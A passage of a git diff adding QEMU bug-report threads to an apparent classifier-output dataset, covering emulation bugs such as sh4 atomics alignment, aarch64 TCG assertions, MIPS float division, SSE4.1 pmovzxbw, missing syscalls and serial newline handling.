+Thanks + +Is there still something to be done for upstream QEMU here? ... otherwise, I assume we can close this bug now? + +I'm not able to test that issue anymore, you can close the ticket. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation**./1839325 b/results/classifier/deepseek-1/output/mistranslation**./1839325 new file mode 100644 index 00000000..54871f3a --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation**./1839325 @@ -0,0 +1,101 @@ + +Go programs crash on qemu-sh4 due to issues with atomics + +After #1738545 [1] was fixed, Go applications work fine on qemu-arm but still crash on qemu-sh4. From the backtrace, it looks like an issue with the atomics in qemu-sh4: + +(sid-sh4-sbuild)root@epyc:/# cat hello.go +package main + +import "fmt" + +func main() { + fmt.Println("hello world") +} + +(sid-sh4-sbuild)root@epyc:/# gccgo-9 hello.go -o hello +(sid-sh4-sbuild)root@epyc:/# ./hello +panic: ( runtime runtime.errorString) (0x7f74527c,0x80a038) +fatal error: panic on system stack +panic: ( runtime runtime.errorString) (0x7f74527c,0x80a038) +fatal error: panic on system stack + +runtime stack: +runtime..z2finternal..z2fatomic.Load64 + ../../../src/libgo/go/runtime/internal/atomic/atomic.c:37 +runtime_mstart + ../../../src/libgo/runtime/proc.c:596 + +goroutine 1 [running]: + goroutine running on other thread; stack unavailable + +runtime stack: +runtime..z2finternal..z2fatomic.Load64 + ../../../src/libgo/go/runtime/internal/atomic/atomic.c:37 +runtime_mstart + ../../../src/libgo/runtime/proc.c:596 +(sid-sh4-sbuild)root@epyc:/# + +The same sample Go program runs fine on my SH7785LCR SH4 evaluation board: + +root@tirpitz:~> uname -a +Linux tirpitz 3.16.7-ckt7 #8 PREEMPT Fri Oct 21 18:47:41 CEST 2016 sh4a GNU/Linux +root@tirpitz:~> cat hello.go +package main + +import "fmt" + +func main() { + fmt.Println("hello world") +} + +root@tirpitz:~> gccgo-9 hello.go -o hello +root@tirpitz:~> ./hello +hello world +root@tirpitz:~> + +Please note: In order to be able to reproduce this, one also needs to revert commit 61dedf2af7 [2], otherwise the Go application crashes differently: + +(sid-sh4-sbuild)root@epyc:/# ./hello +Unhandled trap: 0x180 +pc=0x7e5f7f9e sr=0x00000000 pr=0x7ee3d582 fpscr=0x00080004 +spc=0x00000000 ssr=0x00000000 gbr=0x7e590480 vbr=0x00000000 +sgr=0x00000000 dbr=0x00000000 delayed_pc=0x7e5f7f60 fpul=0x00034f3b +r0=0x008007d4 r1=0x00000000 r2=0xfffe0b2a r3=0x00000002 +r4=0x008006e4 r5=0x00872000 r6=0x00200000 r7=0x00000000 +r8=0x7f7bca7c r9=0x7fffebd4 r10=0x00800480 r11=0x7f7bc0f0 +r12=0x7f7a3fa4 r13=0x008004c0 r14=0x7f7b2238 r15=0x7fffebd0 +r16=0x00000000 r17=0x00000000 r18=0x00000000 r19=0x00000000 +r20=0x00000000 r21=0x00000000 r22=0x00000000 r23=0x00000000 +(sid-sh4-sbuild)root@epyc:/# + +> [1] https://bugs.launchpad.net/bugs/1738545 +> [2] https://bugs.launchpad.net/bugs/1796520 + +The immediate cause of the crash here is that the runtime invokes the Load64() function on a pointer that isn't 8-aligned, which triggers a hand-coded check-and-panic in the libgo code. I haven't yet tracked down where that pointer came from. + + +The non-8-aligned pointer is the runtime.work.empty field. The compilation that I have of this binary has put the 'runtime.work' struct at 0x6bfadc, which is only 4-aligned, and this won't work as the lfstack fields it starts with are supposed to be 8-aligned. So it looks to me like the compiler has miscompiled the binary somehow, and QEMU's actual execution of it is OK. + +I don't know if this is a general bug in the sh4 gccgo support (in which case we must be succeeding on the real hardware by accident, probably by finishing fast enough that the gc never kicks in), or if QEMU is mis-executing the compiler somehow and a build done on the real hardware puts the work struct at an 8-aligned address. + + +I just did an objdump -x of the /usr/lib/sh4-linux-gnu/libgo.so.14, which will be the shipped version from the Debian package, and in the section header it has: + + 24 .bss 000191f8 00fe74ec 00fe74ec 00fd74ec 2**2 + ALLOC + +and in the symbol table it has: + +00ff98f4 l O .bss 00000104 runtime.work + +So the compiler has put the 'runtime.work' struct at a non-multiple-of-8 offset into the bss, and it's given the BSS alignment requirements that are only 4-aligned, not 8-aligned. That means it's random luck whether the struct gets 8-aligned or not. + +This looks to me like it's a bug in the sh4 gccgo -- https://go101.org/article/memory-layout.html says that the first word in a struct or variable is supposed to be guaranteed to be 8-aligned, so the compiler needs to align things more strictly than it is currently doing. + + +Thanks. I will report this to Go/gcc upstream. + +I'm going to close this bug, since it's a problem with the gccgo codegen, not a QEMU bug. (I'm interested in any response you get from the go/gcc upstream folks, though.) + + + diff --git a/results/classifier/deepseek-1/output/mistranslation**./1907817 b/results/classifier/deepseek-1/output/mistranslation**./1907817 new file mode 100644 index 00000000..d85b6a08 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation**./1907817 @@ -0,0 +1,53 @@ + +qemu-aarch64 tcg assertion v5.2.0 + +After updating to 5.2 I am getting following assertion error: +qemu-aarch64: ../tcg/tcg-op-gvec.c:54: check_size_align: Assertion `(maxsz & max_align) == 0' failed. + +I think it was introduced by commit: e2e7168a214b0ed98dc357bba96816486a289762 + +Becasue before this change, in function simd_desc only maxsz % 8 == 0 was checked, but after this change qemu check for following: + +max_align = maxsz >= 16 ? 15 : 7; +tcg_debug_assert((maxsz & max_align) == 0); <--- here assertion happens + +in my case maxsz=56. + + +Whole backtrace: +#4 0x0000004000314770 in check_size_align (oprsz=56, maxsz=56, ofs=0) at ../tcg/tcg-op-gvec.c:54 +#5 0x0000004000314950 in simd_desc (oprsz=56, maxsz=56, data=0) at ../tcg/tcg-op-gvec.c:89 +#6 0x0000004000316270 in do_dup (vece=0, dofs=3144, oprsz=56, maxsz=56, in_32=0x0, in_64=0x0, in_c=0) at ../tcg/tcg-op-gvec.c:630 +#7 0x00000040003164d0 in expand_clr (dofs=3144, maxsz=56) at ../tcg/tcg-op-gvec.c:679 +#8 0x0000004000319bb0 in tcg_gen_gvec_mov (vece=3, dofs=3136, aofs=3136, oprsz=8, maxsz=64) at ../tcg/tcg-op-gvec.c:1538 +#9 0x0000004000200dc0 in clear_vec_high (s=0x40021a8180, is_q=false, rd=0) at ../target/arm/translate-a64.c:592 +#10 0x0000004000200e40 in write_fp_dreg (s=0x40021a8180, reg=0, v=0x1108) at ../target/arm/translate-a64.c:600 +--Type <RET> for more, q to quit, c to continue without paging-- +#11 0x0000004000200e90 in write_fp_sreg (s=0x40021a8180, reg=0, v=0x1060) at ../target/arm/translate-a64.c:608 +#12 0x0000004000214210 in handle_fpfpcvt (s=0x40021a8180, rd=0, rn=0, opcode=2, itof=true, rmode=0, scale=64, sf=0, type=0) + at ../target/arm/translate-a64.c:6988 +#13 0x0000004000214f90 in disas_fp_int_conv (s=0x40021a8180, insn=505544704) at ../target/arm/translate-a64.c:7299 +#14 0x0000004000215350 in disas_data_proc_fp (s=0x40021a8180, insn=505544704) at ../target/arm/translate-a64.c:7389 +#15 0x000000400022aa70 in disas_data_proc_simd_fp (s=0x40021a8180, insn=505544704) at ../target/arm/translate-a64.c:14494 +#16 0x000000400022af90 in disas_a64_insn (env=0x7fac59b6b490, s=0x40021a8180) at ../target/arm/translate-a64.c:14663 +#17 0x000000400022b750 in aarch64_tr_translate_insn (dcbase=0x40021a8180, cpu=0x7fac59b63150) at ../target/arm/translate-a64.c:14823 +#18 0x00000040002e8630 in translator_loop (ops=0x4000902e00 <aarch64_translator_ops>, db=0x40021a8180, cpu=0x7fac59b63150, + tb=0x7fac3419c5c0, max_insns=512) at ../accel/tcg/translator.c:103 +#19 0x00000040002e3a60 in gen_intermediate_code (cpu=0x7fac59b63150, tb=0x7fac3419c5c0, max_insns=512) + at ../target/arm/translate.c:9283 +#20 0x00000040002fed30 in tb_gen_code (cpu=0x7fac59b63150, pc=4458820, cs_base=0, flags=2148544819, cflags=-16777216) + at ../accel/tcg/translate-all.c:1744 +#21 0x000000400036a6e0 in tb_find (cpu=0x7fac59b63150, last_tb=0x7fac3419c400, tb_exit=0, cf_mask=0) at ../accel/tcg/cpu-exec.c:414 +--Type <RET> for more, q to quit, c to continue without paging-- +#22 0x000000400036b040 in cpu_exec (cpu=0x7fac59b63150) at ../accel/tcg/cpu-exec.c:770 +#23 0x0000004000113a90 in cpu_loop (env=0x7fac59b6b490) at ../linux-user/aarch64/cpu_loop.c:84 +#24 0x00000040002fb8c0 in main (argc=2, argv=0x40021a8e68, envp=0x40021a8e80) at ../linux-user/main.c:864 + +Proposed patch: +https://lists.gnu.org/archive/html/qemu-devel/2020-12/msg04150.html + +I can confirm this patch fixes the issue + +Fix now in master as commit 6d3ef04893bde -- will be in next QEMU release. + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1066909 b/results/classifier/deepseek-1/output/mistranslation/1066909 new file mode 100644 index 00000000..b5c07a48 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1066909 @@ -0,0 +1,19 @@ + +App-level clone emulation for microblaze is broken + +When CLONE_THREAD is used, the new process starts with the program counter pointing to the system call instruction, rather than the instruction immediately following it. This causes an infinite cascade (linear growth, not exponential) of thread creation, which quickly crashes when the threads start running and they're all using the same stack. + +I'm using qemu 1.1.2 packaged with Debian, but I'm not aware of any fixes since then that would address the problem. + +I can provide a test program if needed; a short C program using syscall() directly or an even-shorter asm program can demonstrate the issue without need for debugging around pthread library routines. + +Here is a minimal test case showing the problem. + + +I accidentally posted the patch, which is here, on the wrong bug report (1068900 instead of here). Apologies. For reference here is the patch; it was committed and fixes this issue: + +https://lists.eait.uq.edu.au/pipermail/microblaze-linux/2012-October/005760.html + +Issue # 1068900, where I mistakenly posted the patch, is unrelated and not fixed; it should be reopened and this issue (1066909) should be marked fixed. + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1196145 b/results/classifier/deepseek-1/output/mistranslation/1196145 new file mode 100644 index 00000000..b471f833 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1196145 @@ -0,0 +1,26 @@ + +usb-host: hostaddr=0XX is parsed as octal number + +when doing + +device_add usb-host,hostaddr=010 + +taking 010 in the format of both lsusb or udev, qemu parses an octal number and assumes hostaddr=8. +(i used a 2.0 device on the ehci.0 bus) +at least to me that is confusing. + +also: + +when adding a non-existent usb device (bogus hostaddr), the following is created according to 'usb info': + + Device 1.0, Port 1, Speed 1.5 Mb/s, Product USB Host Device + +in usb_qdev_init(): +usb_claim_port is called but usb_device_init does not report an error and thus usb_release_port is not called. + +ps: when using host-libusb.c and tested on 1.5.1.tgz + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/1207896 b/results/classifier/deepseek-1/output/mistranslation/1207896 new file mode 100644 index 00000000..7daaf743 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1207896 @@ -0,0 +1,10 @@ + +binfmt wrapper for argv[0] handling + +Please, add patch https://lists.gnu.org/archive/html/qemu-devel/2011-09/msg03841.html to upstream. 2 years have passed and this patch is not jet applied. Why? 99% GNU/Linux distribution uses qemu with this patch. It is 100% needed. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/1233225 b/results/classifier/deepseek-1/output/mistranslation/1233225 new file mode 100644 index 00000000..9b3875e2 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1233225 @@ -0,0 +1,109 @@ + +mips/mipsel linux user float division problem + +Hi, + +I tested the following with the qemu git HEAD as of 2013-09-30 on Debian stable and testing. My host runs amd64 but I also tried this out inside a i386 chroot with the same result. The problem occurs for mips and mipsel. Given the following program: + +#include <stdio.h> +int main(int argc, char **argv) +{ + int a = 1; + double d = a/2.0; + printf("%f\n", d); + return 0; +} + +Instead of printing 0.5, it will print 2.0 if executed in qemu user mode. + +$ mipsel-linux-gnu-gcc mipstest.c +$ ~/qemu/mipsel-linux-user/qemu-mipsel ./a.out +2.0 + +Expecting this to be a problem with my cross compiler (gcc-4.4 from emdebian) I ran a fully emulated debian squeeze environment inside qemu. There, I compiled the same program natively with gcc and as expected got 0.5 as the output. I also copied the cross compiled binary inside the emulated environment and also got 0.5 when I ran it. So the same mips/mipsel binary produces different output depending on whether it is run in a fully emulated environment or qemu user mode. + +Can anybody else reproduce this problem? + +I can confirm that something is strange with MIPS Linux user emulation, but get a different result (which is also wrong): + +# Your test code is in file divtest.c. +$ mipsel-linux-gnu-gcc-4.7 -g -static divtest.c +$ mipsel-linux-user/qemu-mipsel a.out +0.000000 + +Some more tests: + printf("%f\n", a * 1.0); // 0.000000 = bad + printf("%f\n", (double)a); // 0.000000 = bad + printf("%f\n", 1.0); // 1.000000 = good + + +Test environment: +* latest QEMU sources + default configure & make on x86_64 Debian squeeze host +* gcc-4.7-mipsel-linux-gnu 4.7.2-5 amd64 GNU C compiler + + +Here is the related commit found by git bisect: + +$ git bisect bad +68473f15d4c9948986618f63828825beafcaf1cf is the first bad commit +commit 68473f15d4c9948986618f63828825beafcaf1cf +Author: Richard Henderson <email address hidden> +Date: Sun Feb 10 10:30:46 2013 -0800 + + mips64-linux-user: Enable 64-bit address mode and fpu + + Signed-off-by: Richard Henderson <email address hidden> + Signed-off-by: Aurelien Jarno <email address hidden> + +:040000 040000 de3caa25e43aaeb7d992715b2efc6804a7d0d633 b007b2a9809547197952ca4d36fbd29f89aab470 M target-mips + + +On 2 October 2013 02:51, Stefan Weil <email address hidden> wrote: +> I can confirm that something is strange with MIPS Linux user emulation, +> but get a different result (which is also wrong): +> +> # Your test code is in file divtest.c. +> $ mipsel-linux-gnu-gcc-4.7 -g -static divtest.c +> $ mipsel-linux-user/qemu-mipsel a.out +> 0.000000 + +Does the CPU you're asking qemu to emulate match the CPU gcc is +generating code for? IIRC for MIPS there's no single "right" answer +for "which CPU do we default to"... + +-- PMM + + +On 2 October 2013 14:22, Stefan Weil <email address hidden> wrote: +> The original bug report said that it runs in QEMU system emulation +> (which I did not test because of lack of time). As system emulation +> uses the same cpu, it should be fine. + +...that's what prompted me to ask, actually -- system emulation will +pick a CPU based on whichever board you're emulating, which is +quite likely to be a different one from the default picked by linux-user. +The original bug report doesn't seem to say which board they used +for system emulation so I don't know which CPU it would be using. + +-- PMM + + +For system emulation I used the default which is malta. + +cheers, josch + +This is a known issue. +There was a fix proposal by Thomas Schwinge back in June + +http://patchwork.ozlabs.org/patch/250161/ + +but he has not updated the patch per suggestion ever since, though the patch +as is was much closer to correct behaviour than what it is now in the source. + +If anyone is in hurry, he/she can pick up that change. + + +Looks like Petar's patch from comment #6 has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=4d66261f71f2efa31e1052e +==> Fix released + diff --git a/results/classifier/deepseek-1/output/mistranslation/1245543 b/results/classifier/deepseek-1/output/mistranslation/1245543 new file mode 100644 index 00000000..4043e8ea --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1245543 @@ -0,0 +1,31 @@ + +Wrong implementation of SSE4.1 pmovzxbw and similar instructions + +QEMU 1.5.0 (and git version, as far as I can tell from the source code) has incorrect implementation of pmovzxbw and similar SSE4.1 instructions. The instruction zero-extends the first 8 8-bit elements of a vector to 16bit vector and puts them to another vector. The current implementation applies this operation only to the first element and zeros out the rest. + +To verify, compile the attached program for SSE4.1 (g++ -msse4.1 cvtint.cc). On real hardware, it produces the following output: + +$ ./a.out +1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 + +On QEMU, the output is as follows: + +$ ./a.out +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 + +QEMU is invoked as: + +qemu-system-x86_64 \ + -M pc -cpu Haswell,+sse4.1,+avx,+avx2,+fma,enforce -m 512 \ + -serial stdio -no-reboot \ + -kernel vmlinuz -initrd initrd.img \ + -netdev user,id=user.0 -device rtl8139,netdev=user.0 -redir tcp:2222::22 \ + -hda ubuntu-amd64.ext3 \ + --append "rw console=tty root=/dev/sda" + + + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/1357226 b/results/classifier/deepseek-1/output/mistranslation/1357226 new file mode 100644 index 00000000..89e03fea --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1357226 @@ -0,0 +1,68 @@ + +qemu: uncaught target signal 11 (Segmentation fault) - core dumped + +steps to reproduce: +pbuilder-dist utopic armhf create +pbuilder-dist utopic armhf login +apt-get install imagemagick +convert foo.xpm foo.png +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault + +(doesn't matter if images are actually there or not) + +I'm running into this same problem, and it's making automation of Raspberry Pi builds of my application difficult. + +I'm running in a chroot environment: +3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 armv7l GNU/Linux + +Package: qemu +Version: 1.1.2+dfsg-6a+deb7u11 + +This may or may not be relevant here, but the mysterious "uncaught target signal 11" error was fixed for maas images (lp:maas-images) build process by increasing the memory to the VMs that were doing the build. We had been doing the cross/qemu-static building in ~512M vms and that was resulting in somewhat transient failures during 'apt-get update'. Upping the memory of the vm to 2G made those go away. + + +Status changed to 'Confirmed' because the bug affects multiple users. + +Thanks Thomas for assigning to Ubuntu's Qemu which is correct in this case. +I know there are still issues reported by Locutus to look into, but this one seems expired. + +I don't want to appear randomly closing bugs, so I verified with something "old" which today would be Trusty. So there I ran. + +$ pbuilder-dist trusty armhf create +$ pbuilder-dist trusty armhf login +$ apt-get install imagemagick +$ convert foo.xpm foo.png (file not there) +$ convert ./share/pixmaps/display.im6.xpm ./share/pixmaps/display.im6.png (Trusty) +$ convert ./share/pixmaps/display-im6.q16.xpm ./share/pixmaps/display-im6.q16.png (Artful) + +All working, so closing this old bug as invalid now. + +Status changed to 'Confirmed' because the bug affects multiple users. + +Hi, I am getting the error: + +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault + +When I try to execute a Hello World binary on my amd64 machine, with Hello World built by mips-linux-gnu-g++, using either mips binfmt extensions (./hello) or qemu-mips-static hello. I have libstdc++6:mips installed as well. My source code is as follows: + +#include <iostream> +using std::cout; + +int main() { + cout << "Hello World!\n"; + return 0; +} + +Worth noting that this problem only happens with mips cross runs. mips64el and mipsel work just fine. + +I happen to be doing this in Debian 10.0.0 Buster stable amd64 on VirtualBox on Ubuntu 19.04 Disco Dingo amd64, but it looks like the same behavior on native Ubuntu hosts as well. I tried increasing guest RAM to 1GiB and 2GiB, with no affect on the runtime error message. Is there a glitch in one of the mips packages? + +@mcandre, I think your issue, even though it's also a segfault, is a different one than this bug from 2014, which was about armhf and was verified in comment #4 as no longer happening. + +Could you please open a separate bug about what you experienced, including detailed steps to reproduce it? Attaching the core file would also help. + +Thanks! + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1361912 b/results/classifier/deepseek-1/output/mistranslation/1361912 new file mode 100644 index 00000000..9e87db6e --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1361912 @@ -0,0 +1,68 @@ + +qemu-mips64 Segmentation fault + +When I ran qemu-mips64 for any mips 64 executable , I got this error: + +$ ./qemu-mips64 ../lang +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault (core dumped) + +Is this a known issue? + +Could you please provide backtrace and give more details to reproduce the issue? + +This is a error in user mode, I think it should be very easy to reproduce. + +On Thu, Sep 11, 2014 at 4:55 AM, Leon Alrae <email address hidden> wrote: + +> Could you please provide backtrace and give more details to reproduce +> the issue? +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1361912 +> +> Title: +> qemu-mips64 Segmentation fault +> +> Status in QEMU: +> New +> +> Bug description: +> When I ran qemu-mips64 for any mips 64 executable , I got this error: +> +> $ ./qemu-mips64 ../lang +> qemu: uncaught target signal 11 (Segmentation fault) - core dumped +> Segmentation fault (core dumped) +> +> Is this a known issue? +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1361912/+subscriptions +> + + +I forgot to add that qemu-mips64 works for me, that's why I asked for the details to reproduce the issue (i.e. what is "lang", what tools you used to build it, command line etc.) + +I can see the problem with any simple program: +1. cat t.c +#include <stdio.h> +int main() +{ + printf("Hello QEMU.\n"); +} + +2. mips64-gcc -static t.c -o t +3. qemu-mips64 t +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault (core dumped) + +I built QEMU on Ubuntu 12.04 with the system GCC compiler, and the commands are: +./configure --enable-linux-user +make + + +I've just checked with current head-of-git QEMU and we can execute the attached mips executable OK, so we've clearly fixed this bug at some point in the last three years. Closing as fix-committed, since the fix will definitely be in 2.11, though it's quite likely that 2.10 would also work. + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1382477 b/results/classifier/deepseek-1/output/mistranslation/1382477 new file mode 100644 index 00000000..0e9645b9 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1382477 @@ -0,0 +1,20 @@ + +hw/i386/intel_iommu.c:902: wrong logical operator ? + +/home/dcb/qemu/trunk/qemu/hw/i386/intel_iommu.c:902:5: error: logical ‘and’ applied to non-boolean constant [-Werror=logical-op] + pvtd_as = s->address_spaces[VTD_SID_TO_BUS(source_id)]; + ^ + +$ fgrep VTD_SID_TO_BUS `find . -name \*.h -print` +./include/hw/i386/intel_iommu.h:#define VTD_SID_TO_BUS(sid) (((sid) >> 8) && 0xff) +$ + +Sounds to me like + +#define VTD_SID_TO_BUS(sid) (((sid) >> 8) & 0xff) + +would be better. + +Fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=1e06f131fd9a44dd4af + diff --git a/results/classifier/deepseek-1/output/mistranslation/1407813 b/results/classifier/deepseek-1/output/mistranslation/1407813 new file mode 100644 index 00000000..5f6fbc11 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1407813 @@ -0,0 +1,17 @@ + +QEMU wrongly translates newlines on serial output + +When using "-serial stdio", QEMU shows the guest serial port's output on the tty running qemu. As it should, QEMU sets the tty to raw mode. Or almost... Strangely, it neglects to remove one output-translation bit, ONLCR (see termios(3)) enabled on the tty. And it should have removed this output translation! + +The problem is that with this ONLCR, the guest has no way of outputting a bare linefeed ('\n') - every time the guest tries to output a bare linefeed to the serial port, the host tty will translate it to \r\n which will be sent to the underlying terminal (e.g., xterm). + +In most cases, this issue doesn't cause a problem: When the guest is running a Unix-like operating system which is itself in cooked mode, the guest itself will always output \r\n, and the hosts second translation (to \r\r\n) does no harm. But in certain cases, the guest can *really* want to output just \n, and have this \n reach the terminal emulator and do what a linefeed is supposed to do without a carriage-return - namely - just go one line down in the same column. + +As an illustration of this bug, consider a guest running a Unix-like operating system running a curses-based application (e.g., "vi"). If you look at the output of "infocmp xterm", you'll notice that cud1=^J. This means that if the curses library decides to move one line down (it can happen in some cursor movement situations) it might decide to print a linefeed (\n) to move one line down. The guest's operating system will not mess with this linefeed (because the guest is in raw mode), but then qemu's tty, because it was wrongly left in ONLCR mode, will change this \n to \r\n before it reaches the terminal - causing wrong cursor movement (instead the cursor going straight down, it moves to the first column of the next line). + +I think this bug relates to: +https://bugs.launchpad.net/qemu/+bug/1715296 + +Patch has now been committed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=12fb0ac0575df83cec72ec + diff --git a/results/classifier/deepseek-1/output/mistranslation/1437811 b/results/classifier/deepseek-1/output/mistranslation/1437811 new file mode 100644 index 00000000..cd2585a8 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1437811 @@ -0,0 +1,12 @@ + +target-tricore/op_helper.c:2576: bad if statement + +[qemu/target-tricore/op_helper.c:2576]: (style) Expression '(X & 0x400000) == 0x1' is always false. + + if ((env->PCXI & MASK_PCXI_UL) == 1) { + /* CTYP trap */ + } + +This problem has been fixed here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=7b4b0b5795e934a9b7efb + diff --git a/results/classifier/deepseek-1/output/mistranslation/1470170 b/results/classifier/deepseek-1/output/mistranslation/1470170 new file mode 100644 index 00000000..b8cfce52 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1470170 @@ -0,0 +1,128 @@ + +Unsupported syscalls 370 and 355 + +Qemu seems to be missing syscalls 370 and 355 when running qemu usermode arm. These are used by systemd or some similar new package. This can be detected by creating an debian sid armhf with qemu debootstrap. When the system is launched with "systemd-nspawn -bD sid-arm" this happens (newest git as of today): + +pawning container sid-arm on /home/jpakkane/qemutest/sid-arm. +Press ^] three times within 1s to kill container. +Failed to create directory /home/jpakkane/qemutest/sid-arm//sys/fs/selinux: Read-only file system +Failed to create directory /home/jpakkane/qemutest/sid-arm//sys/fs/selinux: Read-only file system +/etc/localtime is not a symlink, not updating container timezone. +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 384 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +qemu: Unsupported syscall: 370 +systemd 221 running in system mode. (+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ -LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD -IDN) +Detected virtualization systemd-nspawn. +Detected architecture arm. + +Welcome to Debian GNU/Linux stretch/sid! + +Set hostname to <manos>. +qemu: Unsupported syscall: 355 +Failed to allocate manager object: Function not implemented +[!!!!!!] Failed to allocate manager object, freezing. + +Syscall 370 is name_to_handle_at, and 355 is signalfd4. (Likely if name_to_handle_at succeeds then it'll want open_by_handle_at too.) + +This patch implements the signalfd syscalls, though we haven't got to reviewing it yet. +http://patchwork.ozlabs.org/patch/478072/ + +It looks like systemd is coping with 370 not being implemented, so that might be enough to get it running. + + + + +Le 30/06/2015 19:49, Peter Maydell a écrit : +> Syscall 370 is name_to_handle_at, and 355 is signalfd4. (Likely if +> name_to_handle_at succeeds then it'll want open_by_handle_at too.) +> +> This patch implements the signalfd syscalls, though we haven't got to reviewing it yet. +> http://patchwork.ozlabs.org/patch/478072/ +> +> It looks like systemd is coping with 370 not being implemented, so that +> might be enough to get it running. +> + +I have also a patch for name_to_handle_at: + +https://github.com/vivier/qemu-m68k/commit/2ebda8d4578345a60dadc4d85cfb1b8d69b8aa10 + +I've written open_by_handle_at for testing purpose. It is not needed by +systemd. + +https://github.com/vivier/qemu-m68k/commit/030b720a0ba75a81ec689621f4fac696ccbff22d + +I can post them if needed. + +I'm also trying to boot systemd (fedora 21/ppc64). + +But, for me, this is not enough. Netlink seems needed too. +I'm working on this... + +Laurent + + +Laurent, + +I just encountered the same missing syscall on qemu-m68k: + +Unpacking udev (228-2) over (227-2) ... +Preparing to unpack .../libsystemd0_228-2_m68k.deb ... +Unpacking libsystemd0:m68k (228-2) over (227-2) ... +Processing triggers for man-db (2.7.5-1) ... +Not building database; man-db/auto-update is not 'true'. +Processing triggers for libc-bin (2.21-3) ... +Setting up libsystemd0:m68k (228-2) ... +Processing triggers for libc-bin (2.21-3) ... +(Reading database ... 26780 files and directories currently installed.) +Preparing to unpack .../systemd_228-2_m68k.deb ... +Unpacking systemd (228-2) over (227-2) ... +Processing triggers for man-db (2.7.5-1) ... +Not building database; man-db/auto-update is not 'true'. +Setting up systemd (228-2) ... +Installing new version of config file /etc/pam.d/systemd-user ... +Installing new version of config file /etc/systemd/logind.conf ... +Installing new version of config file /etc/systemd/system.conf ... +qemu: Unsupported syscall: 352 +qemu: Unsupported syscall: 352 +qemu: Unsupported syscall: 352 +addgroup: The group `systemd-journal' already exists as a system group. Exiting. +qemu: Unsupported syscall: 352 +(Reading database ... 26779 files and directories currently installed.) +Preparing to unpack .../systemd-sysv_228-2_m68k.deb ... +Unpacking systemd-sysv (228-2) over (227-2) ... +Processing triggers for man-db (2.7.5-1) ... +Not building database; man-db/auto-update is not 'true'. +Setting up systemd-sysv (228-2) ... +Setting up udev (228-2) ... +qemu: Unsupported syscall: 352 +addgroup: The group `input' already exists as a system group. Exiting. +A chroot environment has been detected, udev not started. +Reading package lists... Done +Building dependency tree +Reading state information... Done + +This just happened for the first time and it's apparently related to very recent versions of systemd (228). + +Adrian + +Fix has been committed upstream. + diff --git a/results/classifier/deepseek-1/output/mistranslation/1574346 b/results/classifier/deepseek-1/output/mistranslation/1574346 new file mode 100644 index 00000000..9d48db43 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1574346 @@ -0,0 +1,29 @@ + +TCG: mov to segment register is incorrectly emulated for AMD CPUs + +In TCG mode, the effect of: + +xorl %eax, %eax +movl %eax, %gs + +is to mark the GS segment unusable and set its base to zero. After doing this, reading MSR_GS_BASE will return zero and using a GS prefix in long mode will treat the GS base as zero. + +This is correct for Intel CPUs but is incorrect for AMD CPUs. On an AMD CPU, writing 0 to %gs using mov, pop, or (I think) lgs will leave the base unchanged. + +To make it easier to use TCG to validate behavior on different CPUs, please consider changing the 